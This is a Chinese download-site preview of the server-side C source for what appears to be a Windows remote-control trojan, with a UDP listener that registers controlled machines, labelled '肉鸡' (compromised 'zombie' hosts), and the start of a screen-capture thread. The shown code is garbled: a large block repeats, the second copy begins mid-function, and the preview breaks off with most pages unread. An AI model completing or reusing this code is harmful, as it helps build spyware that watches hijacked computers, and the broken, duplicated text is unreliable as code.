没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
服务端源码:
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")
HINSTANCE ApphInstance;
HWND hMainWnd,hStartScreenButton,hStateStatic,hPrintScreenWnd;
SOCKET hControlSocket;
sockaddr_in stControlAddr;
MSG_HEAD ControlCMD;
BOOL bPrintScreen = FALSE;
HDC hCaptureDC;
VOID ListenThread(LPVOID lpParam)
{
fd_set stReadfd;
timeval stTime;
sockaddr_in stSin;
int SelectReturn,addrLength;
char lpBuffer[256];
MSG_HEAD MsgHead;
while(1)
{
FD_ZERO(&stReadfd);
FD_SET(hControlSocket,&stReadfd);
stTime.tv_sec = 0;
stTime.tv_usec = 200 * 1000;
SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
#include <windows.h>
#include <Winsock.h>
#include "ControlCmd.h"
#pragma comment(lib,"wsock32.lib")
HINSTANCE ApphInstance;
HWND hMainWnd,hStartScreenButton,hStateStatic,hPrintScreenWnd;
SOCKET hControlSocket;
sockaddr_in stControlAddr;
MSG_HEAD ControlCMD;
BOOL bPrintScreen = FALSE;
HDC hCaptureDC;
VOID ListenThread(LPVOID lpParam)
{
fd_set stReadfd;
timeval stTime;
sockaddr_in stSin;
int SelectReturn,addrLength;
char lpBuffer[256];
MSG_HEAD MsgHead;
while(1)
{
FD_ZERO(&stReadfd);
FD_SET(hControlSocket,&stReadfd);
stTime.tv_sec = 0;
stTime.tv_usec = 200 * 1000;
SelectReturn = select(0,&stReadfd,NULL,NULL,&stTime);
if(SOCKET_ERROR == SelectReturn)
break;
if(SelectReturn)
{
RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
addrLength = sizeof(sockaddr_in);
recvfrom(hControlSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr*)&stSin,&addrLength);
memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
switch(MsgHead.dwCmdId)
{
case CMD_LINK:
{
memcpy(&stControlAddr,&stSin,sizeof(sockaddr_in));
SetWindowText(hStateStatic,"肉鸡状态:已连接");
break;
}
}
}
}
closesocket(hControlSocket);
return ;
}
VOID PrintScreenThread(LPVOID lpParam)
{
SOCKET hListenSocket,hPrintScreenSocket;
sockaddr_in stSin;
fd_set stReadfd;
timeval stTime;
int SelectReturn,nBitmapDataSize = 32;
break;
if(SelectReturn)
{
RtlZeroMemory(lpBuffer,sizeof(lpBuffer));
addrLength = sizeof(sockaddr_in);
recvfrom(hControlSocket,lpBuffer,sizeof(lpBuffer),0,(sockaddr*)&stSin,&addrLength);
memcpy(&MsgHead,lpBuffer,sizeof(MSG_HEAD));
switch(MsgHead.dwCmdId)
{
case CMD_LINK:
{
memcpy(&stControlAddr,&stSin,sizeof(sockaddr_in));
SetWindowText(hStateStatic,"肉鸡状态:已连接");
break;
}
}
}
}
closesocket(hControlSocket);
return ;
}
VOID PrintScreenThread(LPVOID lpParam)
{
SOCKET hListenSocket,hPrintScreenSocket;
sockaddr_in stSin;
fd_set stReadfd;
timeval stTime;
int SelectReturn,nBitmapDataSize = 32;
剩余16页未读,继续阅读
资源评论
laiqi9735
- 粉丝: 0
- 资源: 3
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功